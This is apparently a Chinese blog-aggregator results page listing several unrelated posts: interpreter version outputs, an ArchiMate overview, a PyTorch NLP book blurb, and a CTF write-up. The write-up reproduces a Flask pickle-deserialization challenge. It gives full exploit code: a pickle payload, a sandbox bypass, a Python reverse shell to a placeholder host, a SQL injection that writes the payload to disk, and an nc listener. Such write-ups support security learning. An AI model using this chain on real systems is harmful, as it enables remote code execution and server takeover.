首页 文章 精选 留言 我的

精选列表

搜索[language],共3233篇文章
优秀的个人博客,低调大师

Language

[root@LBbanggooADC01 ~]# perl -v This is perl, v5.8.8 built for x86_64-linux-thread-multi Copyright 1987-2006, Larry Wall Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5 source kit. Complete documentation for Perl, including FAQ lists, should be found on this system using "man perl" or "perldoc perl". If you have access to the Internet, point your browser at http://www.perl.org/, the Perl Home Page. # python Python 2.4.3 (#1, Sep 3 2009, 15:37:37) [GCC 4.1.2 20080704 (Red Hat 4.1.2-46)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> 原文出处:Netkiller 系列 手札 本文作者:陈景峯 转载请与作者联系,同时请务必标明文章原始出处和作者信息及本声明。

优秀的个人博客,低调大师

Language

30.15.1.perl [root@F5:Active] config # perl [root@F5:Active] config # perl -v This is perl, v5.8.8 built for i386-linux-thread-multi Copyright 1987-2006, Larry Wall Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5 source kit. Complete documentation for Perl, including FAQ lists, should be found on this system using "man perl" or "perldoc perl". If you have access to the Internet, point your browser at http://www.perl.org/, the Perl Home Page. 30.15.2.python [root@F5:Active] config # python Python 2.4.3 (#1, Apr 8 2010, 19:04:08) [GCC 4.1.2 20080704 (Red Hat 4.1.2-46)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> 30.15.3.PHP [root@F5:Active] config # php -v PHP 5.2.10 (cli) (built: Apr 8 2010 20:58:22) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies 30.15.4.lua [root@F5:Active] config # lua Lua 5.1.2 Copyright (C) 1994-2007 Lua.org, PUC-Rio > 30.15.5. 原文出处:Netkiller 系列 手札 本文作者:陈景峯 转载请与作者联系,同时请务必标明文章原始出处和作者信息及本声明。

优秀的个人博客,低调大师

架构语言ArchiMate - 语言结构(Language Structure)

在ArchiMate - 开篇:企业架构语言ArchiMate介绍中对企业架构语言ArchiMate进行了总体介绍,本篇将介绍一下ArchiMate的语言结构。 元模型级别 知道OO的都知道,任何东西都是对象,在元模型的语言最抽象级别就是对象(Object)和关系(Relation) 对于企业架构来说,重要的概念就是产品(业务流程)和实现(应用) 开发架构时,需要对特定领域进行描述,比如流程图、领域模型图等 核心概念 区分内部和外部概念,有点类似SOA的架构概念 外部是暴露给客户的产品和服务,如Service和Interface 内部是具体行为和相关结构元素 协作与交互(Collaboration and Interaction) 协助包含多个结构元素 交互是一种行为 关系(Relationships) The ArchiMate Framework ArchiMate是一种集成多种架构的一种可视化业务分析模型语言,它从下图业务、应用和技术三个层次(Layer),对象、行为和主体三个方面(Aspect)和产品、组织、流程、信息、数据、应用、技术领域(Domain)来进行描述: 业务层(Business):提供对外部客户的产品和服务 ,这些服务由组织内的业务角色通过业务流程来实现 应用层(Application):支持业务服务的应用 技术层(Technology):通过硬件和软件的交互来运行应用程序 除了以上这些核心方面之外,还有其它一些重要的领域概念,如:目标(Goals)、安全(Security)、治理(Governance)、费用(Costs)、性能(Performance)、时间(Timing)、计划和演进(Planning and evolution)等。 本文转自 jingen_zhou 51CTO博客,原文链接:http://blog.51cto.com/zhoujg/518607,如需转载请自行联系原作者

优秀的个人博客,低调大师

复现强网杯python is the best language 2

参考文献:https://xz.aliyun.com/t/2219http://120.77.209.122/index.php/archives/25/ 源码下载下来后,是基于flask框架,先查看路由文件routes.py,里面功能大部分是基于登陆的。 在others.py的最后有这样的内容 2.png load()函数有一个unpkler函数用于反序列化参数(file),如果file可控那么这就是一个反序列化漏洞。 借用下大佬的payload,理解下这个。 用下面的脚本(12.py)进行序列化payload的生成: import os from pickle import Pickler as Pkler import commands class hhh(object): def __reduce__(self): return (os.system,("whoami",)) evil = hhh() def dump(file): pkler = Pkler(file) pkler.dump(evil) with open("test","wb") as f: dump(f) 测试反序列化漏洞(13.py): from pickle import Unpickler as Unpkler from io import open as Open def LOAD(file): unpkler = Unpkler(file) return Unpkler(file).load() with Open("test","rb") as f: LOAD(f) 执行会12.py后,会在12.py的同级目录下生成test,执行13.py会显示出用户信息 全局搜索load()函数,发现它在Mycache.py的FileSystemCache类中有多次引用。(代码太长了,贴下有用的) 2.png 跟入_get_filename方法 2.png 可以看到将传入的字符串key进行MD5,并将其返回。通过全局搜索,发现在Mysession.py的open_session中调用了key 2.png 1.png 其中self.key_prefix为bdwsessions,因此假设cookie中的sesssion值为pleated,则self.key_prefix + sid即为bdwsessionspleated,然后这串字符串进行MD5得到的结果0ab5423aafb316e9c299e0bb853d0c11。这样就可以控制file了。 攻击流程 ①本地生成序列化文件,并且进行十六进制编码 ②通过第一关的sql注入,将本地生成的payload,写入服务器上的session文件,指定文件名为MD5(bdwsessionspleated),这样我们在访问/index的时候把cookie中的session值改为pleated,触发open_session中的self.cache.get就可以进行反序列化攻击了 沙箱逃逸 源码还设置了沙箱/黑名单来防止某些函数的执行,比如前面的os.system就被禁用了 2.png 此处过滤了大多数函数,但是 commands.getoutput和subprocess.Popen()并没有过滤,payload用的是 commands.getoutput import cPickle import commands class Exp(object): def __reduce__(self): return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"yourip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",)) e = Exp() poc = cPickle.dumps(e) print '0x'+poc.encode('hex') 在注册的邮箱处填入: test12'/**/union/**/select/**/0x63636f....../**/into/**/dumpfile/**/'/tmp/ffff/0ab5423aafb316e9c299e0bb853d0c11'#@test12.com 注册后出现Please use a different email address.。说明写入成功 然后访问http://39.107.32.29/:20000/index 抓包修改session值为pleated 反弹shell nc -l -p 8181 -vvv 查看flag即可。

优秀的个人博客,低调大师

书籍:python自然语言处理(PyTorch) Natural Language Processing with PyTorch - 2...

简介 使用PyTorch 进行自然语言处理 自然语言处理(NLP)为解决人工智能问题提供了无限机会,使亚马逊Alexa和谷歌翻译等产品成为可能。如果您是NLP和深度学习新手的开发人员或数据科学家,本实用指南将向您展示如何使用PyTorch(一种基于Python的深度学习库)应用这些方法。 作者Delip Rao和Brian McMahon为您提供了NLP和深度学习算法的坚实基础,并演示了如何使用PyTorch构建涉及您遇到的问题的丰富文本表示的应用程序。每章包括几个代码示例和插图。 •探索计算图和监督学习范例•掌握PyTorch优化张量操作库的基础知识•概述传统的NLP概念和方法•了解构建神经网络所涉及的基本思想•使用嵌入来表示单词,句子,文档和其他功能•探索序列预测并生成序列到序列模型•了解用于构建生产NLP系统的设计模式 参考资料 下载:

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册